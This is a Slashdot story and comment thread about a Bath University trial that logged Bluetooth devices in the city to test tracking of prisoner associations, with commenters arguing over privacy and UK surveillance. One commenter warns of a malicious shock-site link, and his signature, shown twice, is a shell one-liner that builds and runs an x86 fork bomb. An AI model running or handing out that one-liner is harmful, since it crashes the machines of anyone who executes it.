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Bluetooth Surveillance Tested In the UK

Posted by kdawson on from the turn-the-darn-thing-off dept.

KentuckyFC writes "If you live in the city of Bath in the UK and carry a Bluetooth-enabled device, your movements may have been secretly monitored in an experiment designed to test surveillance techniques in prisons. Researchers from Bath University recorded the movements of 10,000 Bluetooth-enabled devices during their 6-month trial. They say the experiment was a test of a technique for monitoring the interactions between prisoners in jail that could be used to work out which inmates have become closely associated. The work was prompted by revelations that the Madrid train bombers who devastated the city in 2004 first met in a Spanish prison (abstract)."

14 of 85 comments (clear)

  1. mandatory bluetooth collars next??? by advocate_one · · Score: 2, Insightful

    expect civil liberties to really hit the roof over this one... whatever happened to the right of free association?

    --
    Donald 'Duck' Dunn: We had a band powerful enough to turn goat piss into gasoline.
    1. Re:mandatory bluetooth collars next??? by gnick · · Score: 3, Funny

      mandatory bluetooth collars next??? Yes. The obvious next step to analysis of open-air traffic is electronic tagging and tracking of free citizens. Of course, that will just be to get us to drop our guard while they prepare to implant their dream-recorders to preemptively stop terror by arresting us for thought crime.

      Want to buy some tin-foil? Your head looks cold.
      --
      He's getting rather old, but he's a good mouse.
    2. Re:mandatory bluetooth collars next??? by owlnation · · Score: 3, Interesting

      expect civil liberties to really hit the roof over this one... whatever happened to the right of free association?
      You do not, and never have had that right in the UK. It's just that until recently it was rarely enforced.

      It's already too late. The sun is setting on democracy in the UK.
  2. I suspect the guards. by khasim · · Score: 2, Insightful

    This project is going to discover that the GUARDS have contact with prisoners that go on to commit crimes.

    Prisoner-A and Prisoner-B commit a terrorist act of child pornography and BOTH of those prisoners will have had contact with Guard-C in Prison-D. Therefore, every other prisoner who had contact with Guard-C is a potential terrorist child pornographer.

    Really. That's all that you're going to find from this. This is a waste of money.

  3. That explanation smells like bullshit by Reality+Master+201 · · Score: 5, Insightful

    Tracking prisoners? With Bluetooth devices? Horseshit.

    RFID is a far better choice - it's passive (no batteries) and it's cheap. I bet the purpose of Bluetooth tracking is to track non-imprisoned people.

    1. Re:That explanation smells like bullshit by wattrlz · · Score: 2, Insightful

      If you're going to broadcast your music, your cell phone conversations, and whatever other data people transfer by bluetooth to anyone in a ten meter radius I don't see why you should be so up in arms about someone happening to receive and record that information.

    2. Re:That explanation smells like bullshit by BlueshiftVFX · · Score: 3, Insightful

      If you're going to broadcast your television programs, and whatever other data people transfer by satellite to anyone in the whole continent I don't see why you should be so up in arms about someone happening to receive and record that information.

      The problem is the Corporations don't like it and they have more power then a bunch of un-herded sheep. Together the sheep have the power but with so many rumours and misinformation it's easier to divide and conquer them then the few CEOs that hold all the power of the corporations.

      I do agree though this is horse shit fluffed up and polished to appeal to the sheep.

  4. Re:I've been experimenting with this a while. by Hal_Porter · · Score: 5, Informative

    Don't click notlong.com link in parent. Nasty stuff.

    --
    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
  5. How is this different than.. by h.ross.perot · · Score: 2, Interesting

    .. the tracking feature in your current cell phone? The nature of "Cells" enables device tracking.. Thats how it works.. Cells monitor and could record differential signal strength and plot your movements easily. Even with the tracking feature "disabled" I; for one welcome ....

    --
    ... I'll have a Pan Galactic Gargle Blaster with a side of Plutonium Nyborg ...
  6. Re:Oh puhleeeese! by owlnation · · Score: 2, Interesting

    If you live in the UK, (especially London) you know your movements are being monitored - there's a bloody video camera every 12 feet.
    Not just London -- everywhere in the UK. There's nearly 5 million of the things. So all you have to do is match up the video to the bluetooth signal from the (easily traceable by bank details or credit card) mobile phone. So if you have a hoodie or a baseball cap on, then they still know who you are (or whose phone you've stolen).
  7. Re:Then don't broadcast? by Plutonite · · Score: 2, Interesting

    Well yes of course, but let's not assume that lack of tech familiarity is justification for getting 1984-ed by the benign government. I can't believe the general public is being used as testing grounds for civil rights abuses in jails. It's very funny if you think about it. It's also the scariest thing the big brothers in the UK have come up with in a long time.

  8. Re:I've been experimenting with this a while. by Hal_Porter · · Score: 4, Informative

    It redirects to a link on nimp.org which is the last measure - a load of shock sites and a loud samples. If you have flash or javascript enabled it will crash the browser with essentially a forkbomb. I opened it in Opera with flash and javascript off and it looks like it's trying a Java exploit too.

    http://www.nationmaster.com/encyclopedia/Last-Measure

    --
    echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
  9. Re:Not even pretending. by Valdrax · · Score: 3, Interesting

    Right, right. Apparently, they're called "witness summons" now for people, though I have no idea what you call subpoena duces tecum nowadays. I'm sure that you have some procedure for compelling potential witnesses to a crime to appear and present documents -- like this data.

    While two university students don't represent your whole population, the tolerance you people have of being watched by cameras all day does. Frankly, I find your countrymen somewhat distubring for supporting 24/7 pervasive surveillance.

    And it's not a non-issue. It's a demonstration of a technique to track the coming and goings of non-criminal citizens for the purpose of determining who they associate with. So what if they claim the ultimate goal is tracking actual prisoners? They've demonstrated a far more useful purpose for it for a nanny state. Can you not imagine the utility this would have in tracking down members of protest groups? This is so much easier to sort through than video footage.

    --
    If it's for-profit but free, you're not the customer -- you're the product (e.g., the Slashdot Beta's "audience").
  10. Re:Not even pretending. by Macthorpe · · Score: 2, Interesting

    Right, right. Apparently, they're called "witness summons" now for people, though I have no idea what you call subpoena duces tecum nowadays. I'm sure that you have some procedure for compelling potential witnesses to a crime to appear and present documents -- like this data. The presenting of data which was legally gained to a court of law is not an invasion of privacy. There's nothing personally identifiable in the data they've collected, so it would be challenging to actually link this to a potential crime.

    While two university students don't represent your whole population, the tolerance you people have of being watched by cameras all day does. Frankly, I find your countrymen somewhat distubring for supporting 24/7 pervasive surveillance. Good combination of exagerration and an absolutely ridiculous generalisation that isn't substantiated by a single fact. I'm going to hazard a guess that you only get your information about the UK and security issues from Slashdot articles, which is a pretty sure-fire way of getting overblown and inaccurate information.

    And it's not a non-issue. It's a demonstration of a technique to track the coming and goings of non-criminal citizens for the purpose of determining who they associate with. So what if they claim the ultimate goal is tracking actual prisoners? They've demonstrated a far more useful purpose for it for a nanny state. Can you not imagine the utility this would have in tracking down members of protest groups? This is so much easier to sort through than video footage. Wow, you've worked out a tool that can be used for good can also be used for evil and that it all depends on who is doing the work. You're so caught up in your default attitude of hostility that you can't see past the end of your own nose.

    In all this you forget that if the government really wants to track citizens to that level, it's trivial to triangulate someone's cellphone position even if they're not using it using existing technology, not to mention that recording someone's phone calls is far more useful than collating encrypted Bluetooth data and trying to work out who is saying what.
    --
    "It does not do to leave a live dragon out of your calculations, if you live near him." - Tolkien